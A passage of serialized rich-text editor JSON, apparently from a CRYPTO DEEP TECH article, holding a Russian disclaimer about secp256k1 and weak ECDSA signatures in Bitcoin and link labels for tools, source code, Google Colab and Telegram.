More","type":"ordered-list-item","key":"fgdnn"},{"data":{"image":{"id":"691c2de5812fde53ca7fb036"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"e2gja"},{"data":{},"depth":0,"entityRanges":[{"key":112,"length":16,"offset":35},{"key":113,"length":9,"offset":138},{"key":114,"length":5,"offset":171},{"key":115,"length":7,"offset":192}],"inlineStyleRanges":[],"text":"Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.","type":"unstyled","key":"1r33k"},{"data":{},"depth":0,"entityRanges":[{"key":116,"length":12,"offset":0}],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"}],"text":"Crypto Tools","type":"unstyled","key":"1f3k3"},{"data":{},"depth":0,"entityRanges":[{"key":117,"length":12,"offset":0}],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"}],"text":"Исходный код","type":"unstyled","key":"5h22i"},{"data":{},"depth":0,"entityRanges":[{"key":118,"length":12,"offset":0}],"inlineStyleRanges":[{"length":12,"offset":0,"style":"BOLD"}],"text":"Google Colab","type":"unstyled","key":"30ee6"},{"data":{},"depth":0,"entityRanges":[{"key":119,"length":37,"offset":0}],"inlineStyleRanges":[{"length":37,"offset":0,"style":"BOLD"}],"text":"Telegram: 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